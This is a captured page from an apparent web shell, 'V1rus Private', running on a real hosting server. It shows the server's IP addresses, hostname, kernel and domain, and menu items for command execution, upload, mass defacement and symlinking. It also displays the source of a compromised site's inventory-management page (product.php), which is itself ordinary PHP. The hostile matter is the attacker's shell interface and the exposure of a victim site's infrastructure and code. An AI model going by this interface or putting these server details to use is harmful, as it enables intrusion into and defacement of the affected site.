V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
InventorySystem
/
Viewing: product.php
<?php $page_title = 'All Product'; require_once('includes/load.php'); page_require_level(2); // Get current store and all stores $current_store_id = get_current_store_id(); $all_stores = get_all_stores(); // Check if store filter is applied $store_filter = isset($_GET['store_id']) ? (int)$_GET['store_id'] : $current_store_id; // Pagination setup $limit = 100; $page = isset($_GET['page']) ? (int)$_GET['page'] : 1; $start = ($page - 1) * $limit; // Count total products for the selected store $total_query = $db->query("SELECT COUNT(*) AS total FROM products WHERE store_id = '{$store_filter}'"); $total_row = $db->fetch_assoc($total_query); $total = $total_row['total']; $pages = ceil($total / $limit); // Fetch paginated products for the selected store $sql = "SELECT p.id, p.name, p.quantity, p.buy_price, p.sale_price, p.pack_size, p.media_id, p.date, p.is_transferred, "; $sql .= "c.name AS categorie, m.file_name AS image, s.store_name AS store_name "; $sql .= "FROM products p "; $sql .= "LEFT JOIN categories c ON c.id = p.categorie_id "; $sql .= "LEFT JOIN media m ON m.id = p.media_id "; $sql .= "LEFT JOIN stores s ON s.id = p.store_id "; $sql .= "WHERE p.store_id = '{$store_filter}' "; $sql .= "ORDER BY p.id DESC LIMIT {$start}, {$limit}"; $products = find_by_sql($sql); // Calculate total stock values $total_regular_stock = 0; $total_transferred_stock = 0; $total_regular_value = 0; $total_transferred_value = 0; foreach ($products as $product) { $quantity = (int)$product['quantity']; $buy_price = (float)$product['buy_price']; $stock_value = $quantity * $buy_price; if ((int)$product['is_transferred'] == 1) { $total_transferred_stock += $quantity; $total_transferred_value += $stock_value; } else { $total_regular_stock += $quantity; $total_regular_value += $stock_value; } } // Check for low stock and out of stock $low_stock = array_filter($products, function($p) { return (int)$p['quantity'] < 10 && (int)$p['quantity'] > 0; }); $out_of_stock = array_filter($products, function($p) { return (int)$p['quantity'] == 0; }); // Count transferred products $transferred_products = array_filter($products, function($p) { return (int)$p['is_transferred'] == 1; }); ?> <?php include_once('layouts/header.php'); ?> <div class="row"> <div class="col-md-12"> <?php echo display_msg($msg); ?> </div> </div> <!-- Stock Summary Cards --> <div class="row"> <div class="col-md-6"> <div class="panel panel-default"> <div class="panel-heading"> <strong> <span class="glyphicon glyphicon-th"></span> <span>Regular Stock Summary</span> </strong> </div> <div class="panel-body"> <div class="row text-center"> <div class="col-md-6"> <div class="well"> <h3 class="text-success"><?php echo number_format($total_regular_stock); ?></h3> <p>Total Items</p> </div> </div> <div class="col-md-6"> <div class="well"> <h3 class="text-success">₹<?php echo number_format($total_regular_value, 2); ?></h3> <p>Total Value</p> </div> </div> </div> </div> </div> </div> <div class="col-md-6"> <div class="panel panel-info"> <div class="panel-heading"> <strong> <span class="glyphicon glyphicon-transfer"></span> <span>Transferred Stock Summary</span> </strong> </div> <div class="panel-body"> <div class="row text-center"> <div class="col-md-6"> <div class="well"> <h3 class="text-info"><?php echo number_format($total_transferred_stock); ?></h3> <p>Total Items</p> </div> </div> <div class="col-md-6"> <div class="well"> <h3 class="text-info">₹<?php echo number_format($total_transferred_value, 2); ?></h3> <p>Total Value</p> </div> </div> </div> </div> </div> </div> </div> <!-- Stock Alerts --> <div class="row"> <div class="col-md-12"> <?php if (!empty($out_of_stock)) : ?> <div class="alert alert-danger alert-dismissible fade in" role="alert"> <strong>🚫 Out of Stock Alert!</strong> <?php echo count($out_of_stock); ?> product(s) are out of stock. <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <?php endif; ?> <?php if (!empty($low_stock)) : ?> <div class="alert alert-warning alert-dismissible fade in" role="alert"> <strong>⚠ Low Stock Alert!</strong> <?php echo count($low_stock); ?> product(s) have less than 10 items in stock. <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <?php endif; ?> <?php if (!empty($transferred_products)) : ?> <div class="alert alert-info alert-dismissible fade in" role="alert"> <strong>🔄 Transferred Stock!</strong> <?php echo count($transferred_products); ?> product(s) are transferred stock with total value of ₹<?php echo number_format($total_transferred_value, 2); ?>. <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <?php endif; ?> </div> </div> <div class="row"> <div class="col-md-12"> <div class="panel panel-default"> <div class="panel-heading clearfix"> <div class="pull-left"> <strong> <span class="glyphicon glyphicon-th"></span> <span>Products - <?php $selected_store = find_by_id('stores', $store_filter); echo $selected_store ? ($selected_store['store_name'] ?? $selected_store['name']) : 'All Stores'; ?> </span> </strong> </div> <div class="pull-right"> <!-- Store Filter --> <select class="form-control" id="storeFilter" style="display: inline-block; width: auto; margin-right: 10px;"> <option value="<?php echo $current_store_id; ?>">Current Store</option> <?php foreach ($all_stores as $store): ?> <?php if ($store['id'] != $current_store_id): ?> <option value="<?php echo $store['id']; ?>" <?php echo $store_filter == $store['id'] ? 'selected' : ''; ?>> <?php echo $store['store_name'] ?? $store['name']; ?> </option> <?php endif; ?> <?php endforeach; ?> </select> <a href="add_product.php" class="btn btn-primary">Add New</a> </div> </div> <div class="panel-body"> <table class="table table-bordered"> <thead> <tr> <th class="text-center" style="width: 50px;">#</th> <th>Product Title</th> <th class="text-center">Categories</th> <th class="text-center">In-Stock</th> <th class="text-center">Stock Status</th> <th class="text-center">Pack Size</th> <th class="text-center">Buying Price (₹)</th> <th class="text-center">Selling Price (₹)</th> <th class="text-center">Stock Value (₹)</th> <th class="text-center">Stock Type</th> <th class="text-center">Product Added</th> <th class="text-center" style="width: 100px;">Actions</th> </tr> </thead> <tbody> <?php foreach ($products as $product): $stock_status = ''; $row_class = ''; $quantity = (int)$product['quantity']; $buy_price = (float)$product['buy_price']; $stock_value = $quantity * $buy_price; if ($quantity == 0) { $stock_status = '<span class="label label-danger">Out of Stock</span>'; $row_class = 'danger'; } elseif ($quantity < 10) { $stock_status = '<span class="label label-warning">Low Stock</span>'; $row_class = 'warning'; } else { $stock_status = '<span class="label label-success">In Stock</span>'; } $stock_type = ''; if ((int)$product['is_transferred'] == 1) { $stock_type = '<span class="label label-info">Transferred</span>'; $row_class = $row_class ? $row_class . ' info' : 'info'; } else { $stock_type = '<span class="label label-default">Regular</span>'; } ?> <tr class="<?php echo $row_class; ?>"> <td class="text-center"><?php echo count_id();?></td> <td><?php echo remove_junk($product['name']); ?></td> <td class="text-center"><?php echo remove_junk($product['categorie']); ?></td> <td class="text-center"><?php echo $quantity; ?></td> <td class="text-center"><?php echo $stock_status; ?></td> <td class="text-center"><?php echo remove_junk($product['pack_size']); ?></td> <td class="text-center">₹<?php echo number_format($buy_price, 2); ?></td> <td class="text-center">₹<?php echo number_format((float)$product['sale_price'], 2); ?></td> <td class="text-center"><strong>₹<?php echo number_format($stock_value, 2); ?></strong></td> <td class="text-center"><?php echo $stock_type; ?></td> <td class="text-center"><?php echo read_date($product['date']); ?></td> <td class="text-center"> <div class="btn-group"> <a href="edit_product.php?id=<?php echo (int)$product['id'];?>" class="btn btn-info btn-xs" title="Edit"> <span class="glyphicon glyphicon-edit"></span> </a> <a href="delete_product.php?id=<?php echo (int)$product['id'];?>" class="btn btn-danger btn-xs" title="Delete"> <span class="glyphicon glyphicon-trash"></span> </a> </div> </td> </tr> <?php endforeach; ?> </tbody> <tfoot> <tr class="active"> <th colspan="3" class="text-right"><strong>TOTALS:</strong></th> <th class="text-center"><?php echo number_format($total_regular_stock + $total_transferred_stock); ?></th> <th class="text-center">-</th> <th class="text-center">-</th> <th class="text-center">-</th> <th class="text-center">-</th> <th class="text-center"><strong>₹<?php echo number_format($total_regular_value + $total_transferred_value, 2); ?></strong></th> <th class="text-center">-</th> <th class="text-center">-</th> <th class="text-center">-</th> </tr> </tfoot> </table> <!-- Pagination Links --> <nav aria-label="Page navigation"> <ul class="pagination"> <?php for ($i = 1; $i <= $pages; $i++): ?> <li class="<?php if ($i == $page) echo 'active'; ?>"> <a href="?page=<?php echo $i; ?>&store_id=<?php echo $store_filter; ?>"><?php echo $i; ?></a> </li> <?php endfor; ?> </ul> </nav> </div> </div> </div> </div> <script> // Store filter functionality document.getElementById('storeFilter').addEventListener('change', function() { var storeId = this.value; window.location.href = 'product.php?store_id=' + storeId; }); </script> <?php include_once('layouts/footer.php'); ?>
Coded With 💗 by
HanzOFC